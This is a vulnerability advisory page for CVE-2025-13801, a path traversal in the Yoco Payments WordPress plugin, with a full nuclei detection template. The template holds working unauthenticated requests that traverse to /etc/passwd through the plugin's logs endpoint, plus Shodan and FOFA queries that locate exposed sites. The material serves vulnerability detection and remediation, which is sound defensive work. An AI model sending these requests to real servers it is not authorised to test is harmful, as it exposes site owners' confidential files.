Browse / CVEs / CVE-2025-13801
CVE-2025-13801· CWE-22
Yoco Payments <= 3.8.8 - Path Traversal
highseverity
7.5CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it
Yoco Payments WordPress plugin <= 3.8.8 contains a path traversal caused by improper validation of the file parameter, letting unauthenticated attackers read arbitrary files on the server.
Impact
Unauthenticated attackers can read sensitive files on the server, potentially exposing confidential information.
Fix
Update to the latest version beyond 3.8.8.
How to confirm it
Send: GET /wp-content/plugins/yoco-payment-gateway/readme.txt
Positive when: status_code == 200 and contains_all(body, "=== Yoco Payments ===", "Stable tag:") and compare_versions(plugin_version, '<= 3.8.8')
Send: GET /wp-json/yoco/logs?file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd ; GET /?rest_route=/yoco/logs&file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd
Positive when: status_code == 200 and regex('root:[x*]?:0:0:', body)Run it with nuclei: nuclei -id CVE-2025-13801 -u <target>
The full check
id: CVE-2025-13801
info:
name: Yoco Payments <= 3.8.8 - Path Traversal
author: 0x_Akoko
severity: high
description: |
Yoco Payments WordPress plugin <= 3.8.8 contains a path traversal caused by improper validation of the file parameter, letting unauthenticated attackers read arbitrary files on the server.
impact: |
Unauthenticated attackers can read sensitive files on the server, potentially exposing confidential information.
remediation: |
Update to the latest version beyond 3.8.8.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
fofa-query: body="yoco-payment-gateway"
shodan-query: http.html:"yoco-payment-gateway"
tags: wordpress,wp-plugin,yoco,lfi,path-traversal,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/yoco-payment-gateway/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "=== Yoco Payments ===", "Stable tag:")
- compare_versions(plugin_version, '<= 3.8.8')
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- '(?m)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
GET /wp-json/yoco/logs?file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
- |
GET /?rest_route=/yoco/logs&file=../../plugins/yoco-payment-gateway/../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- status_code == 200
- regex('root:[x*]?:0:0:', body)
condition: andUse this check only on systems you are authorised to test. Where the data comes from